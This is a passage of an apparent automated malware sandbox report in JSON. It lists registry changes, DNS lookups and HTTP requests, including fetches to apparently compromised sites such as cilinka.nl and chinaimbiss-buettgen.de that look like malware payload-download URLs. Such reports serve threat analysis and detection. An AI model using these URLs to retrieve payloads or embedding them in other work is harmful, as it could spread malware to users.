    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\pmcsnap.dll,-700",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\wsecedit.dll,-718",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\filemgmt.dll,-2204",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\msconfig.exe,-126",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\System32\\AuthFWGP.dll,-20",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\gameux.dll,-10082",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\sdcpl.dll,-101",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\recdisc.exe,-2000",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\msra.exe,-100",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\PROGRA~2\\COMMON~1\\MICROS~1\\OFFICE15\\OREGRE~1.DLL,-315",
    "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\PowersHell_RASAPI32",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\PowersHell_RASAPI32\\EnableFileTracing",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\PowersHell_RASAPI32\\EnableConsoleTracing",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\PowersHell_RASAPI32\\FileTracingMask",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\PowersHell_RASAPI32\\ConsoleTracingMask",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\PowersHell_RASAPI32\\MaxFileSize",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\PowersHell_RASAPI32\\FileDirectory"
]

[*] Deleted Registry Keys: [
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\'w8",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\~m6"
]

[*] DNS Communications: [
    {
        "type": "A",
        "request": "cilinka.nl",
        "answers": [
            {
                "data": "185.94.230.235",
                "type": "A"
            }
        ]
    },
    {
        "type": "A",
        "request": "www.cilinka.nl",
        "answers": [
            {
                "data": "185.94.230.235",
                "type": "A"
            }
        ]
    },
    {
        "type": "A",
        "request": "chinaimbiss-buettgen.de",
        "answers": [
            {
                "data": "31.47.243.162",
                "type": "A"
            }
        ]
    },
    {
        "type": "A",
        "request": "www.marriagegardens.in",
        "answers": []
    },
    {
        "type": "A",
        "request": "www.talatmobilya.com",
        "answers": [
            {
                "data": "196.196.5.147",
                "type": "A"
            }
        ]
    },
    {
        "type": "A",
        "request": "churchneworleans.org",
        "answers": [
            {
                "data": "192.249.119.213",
                "type": "A"
            }
        ]
    }
]

[*] Domains: [
    {
        "ip": "185.94.230.235",
        "domain": "www.cilinka.nl"
    },
    {
        "ip": "196.196.5.147",
        "domain": "www.talatmobilya.com"
    },
    {
        "ip": "192.249.119.213",
        "domain": "churchneworleans.org"
    },
    {
        "ip": "",
        "domain": "www.marriagegardens.in"
    },
    {
        "ip": "31.47.243.162",
        "domain": "chinaimbiss-buettgen.de"
    },
    {
        "ip": "185.94.230.235",
        "domain": "cilinka.nl"
    }
]

[*] Network Communication - ICMP: []

[*] Network Communication - HTTP: [
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nCache-Control: max-age = 89056\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 22 Mar 2019 18:30:24 GMT\r\nIf-None-Match: \"5c9529c0-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.msocsp.com",
        "version": "1.1",
        "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
        "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://cilinka.nl/jfOePxbR/",
        "user-agent": "",
        "method": "GET",
        "host": "cilinka.nl",
        "version": "1.1",
        "path": "/jfOePxbR/",
        "data": "GET /jfOePxbR/ HTTP/1.1\r\nHost: cilinka.nl\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://www.cilinka.nl/jfOePxbR/",
        "user-agent": "",
        "method": "GET",
        "host": "www.cilinka.nl",
        "version": "1.1",
        "path": "/jfOePxbR/",
        "data": "GET /jfOePxbR/ HTTP/1.1\r\nHost: www.cilinka.nl\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D HTTP/1.1\r\nCache-Control: max-age = 128165\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 11:02:13 GMT\r\nIf-None-Match: \"5c961235-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://chinaimbiss-buettgen.de/my1fugwV/",
        "user-agent": "",
        "method": "GET",
        "host": "chinaimbiss-buettgen.de",
        "version": "1.1",
        "path": "/my1fugwV/",
        "data": "GET /my1fugwV/ HTTP/1.1\r\nHost: chinaimbiss-buettgen.de\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D HTTP/1.1\r\nCache-Control: max-age = 143038\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 15:00:07 GMT\r\nIf-None-Match: \"5c9649f7-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://www.talatmobilya.com/mc3yyPN/",
        "user-agent": "",
        "method": "GET",
        "host": "www.talatmobilya.com",
        "version": "1.1",
        "path": "/mc3yyPN/",
        "data": "GET /mc3yyPN/ HTTP/1.1\r\nHost: www.talatmobilya.com\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://redirector.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe",
        "user-agent": "Microsoft BITS/7.5",
        "method": "HEAD",
        "host": "redirector.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe",
        "data": "HEAD /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: redirector.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "HEAD",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "HEAD /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "GET",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=0-7080\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "GET",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=7081-17931\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "GET",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=17932-28132\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "GET",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=28133-38142\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "GET",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=38143-59778\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "GET",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=59779-104479\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEDoV9Mh%2FtNM5k9Pus79K5eQ%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.pki.goog",
        "version": "1.1",
        "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEDoV9Mh%2FtNM5k9Pus79K5eQ%3D",
        "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEDoV9Mh%2FtNM5k9Pus79K5eQ%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "GET",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=104480-194726\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "crl.microsoft.com",
        "version": "1.1",
        "path": "/pki/crl/products/MicrosoftTimeStampPCA.crl",
        "data": "GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 16 Feb 2019 02:02:49 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEDaCXn%2B1pIGTfvbRc2u5PKY%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.comodoca.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEDaCXn%2B1pIGTfvbRc2u5PKY%3D",
